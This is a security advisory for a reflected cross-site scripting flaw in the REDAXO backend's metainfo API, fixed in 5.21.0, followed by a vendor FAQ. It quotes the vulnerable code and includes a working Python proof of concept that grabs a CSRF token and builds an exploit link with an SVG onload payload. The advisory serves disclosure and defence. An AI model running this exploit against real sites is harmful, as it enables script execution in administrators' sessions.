GHSA-M662-8JRJ-CW6V

A reflected XSS vulnerability has been identified in the REDAXO backend. The type parameter is concatenated into an API error message and rendered without HTML escaping.

Details

Root cause
User input type is injected into an exception message, then rendered by rex_view::error() which delegates to rex_view::message() without HTML escaping.

Vulnerable code (redaxo/src/addons/metainfo/lib/handler/api_default_fields.php) :

$type = rex_get('type', 'string');
throw new rex_api_exception(sprintf('metainfo type "%s" does not have default field.', $type));

Sink (redaxo/src/core/lib/view.php) :

return '<div class="' . $cssClassMessage . '">' . $message . '</div>';

Data flow source -> sink

• Source : type (GET)
• Propagation : concatenated into the exception message
• Sink : rendered via rex_view::error() -> rex_view::message() without escaping

Authentication required : yes (backend session)

PoC - exploit

#!/usr/bin/env python3
import re
import urllib.parse
import requests

TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx"
VERIFY_SSL = False
TIMEOUT = 15

PAYLOAD = '\"><svg/onload=alert("pwned")>'


def build_backend_url() -> str:
    base = TARGET_URL.rstrip("/")
    return f"{base}/{BACKEND_PATH.lstrip('/')}"


def extract_api_csrf(html_text: str) -> str:
    m = re.search(r'rex-api-call=metainfo_default_fields_create[^"\']+', html_text)
    if not m:
        raise RuntimeError("Could not find the metainfo_default_fields_create API link in the page HTML.")
    fragment = m.group(0).replace("&amp;", "&")
    token_match = re.search(r"_csrf_token=([^&]+)", fragment)
    if not token_match:
        raise RuntimeError("CSRF token for metainfo_default_fields_create was not found in the extracted link.")
    return token_match.group(1)

def set_session_cookie(session: requests.Session) -> None:
    parsed = urllib.parse.urlparse(TARGET_URL)
    if parsed.hostname:
        session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")


def main() -> None:
    backend_url = build_backend_url()

    s = requests.Session()
    set_session_cookie(s)

    # Admin backend session required
    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
    if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
        print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
        return

    r = s.get(backend_url, params={"page": "metainfo/articles"}, timeout=TIMEOUT, verify=VERIFY_SSL)
    if r.status_code != 200:
        print(f"[!] Failed to access metainfo page (HTTP {r.status_code}).")
        return

    api_token = extract_api_csrf(r.text)

    params = {
        "page": "metainfo/articles",
        "rex-api-call": "metainfo_default_fields_create",
        "type": PAYLOAD,
        "_csrf_token": api_token,
    }

    exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
    print(exploit_url)


if __name__ == "__main__":
    main()

The script uses only the provided PHPSESSID, retrieves the CSRF token from the metainfo page, and prints a ready-to-use exploit link.

Video

https://github.com/user-attachments/assets/251f548c-3f68-483b-a012-b8fc28493a83

• Confidentiality : Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
• Integrity : Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
• Availability : Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

Kodem intelligence

1. What is GHSA-M662-8JRJ-CW6V? GHSA-M662-8JRJ-CW6V is a low-severity cross-site scripting (XSS) vulnerability in redaxo/source (composer), affecting versions < 5.21.0. It is fixed in 5.21.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. Which versions of redaxo/source are affected by GHSA-M662-8JRJ-CW6V? redaxo/source (composer) versions < 5.21.0 is affected.
3. Is there a fix for GHSA-M662-8JRJ-CW6V? Yes. GHSA-M662-8JRJ-CW6V is fixed in 5.21.0. Upgrade to this version or later.
4. Is GHSA-M662-8JRJ-CW6V exploitable, and should I be worried? Whether GHSA-M662-8JRJ-CW6V is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-M662-8JRJ-CW6V is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix GHSA-M662-8JRJ-CW6V? Upgrade redaxo/source to 5.21.0 or later.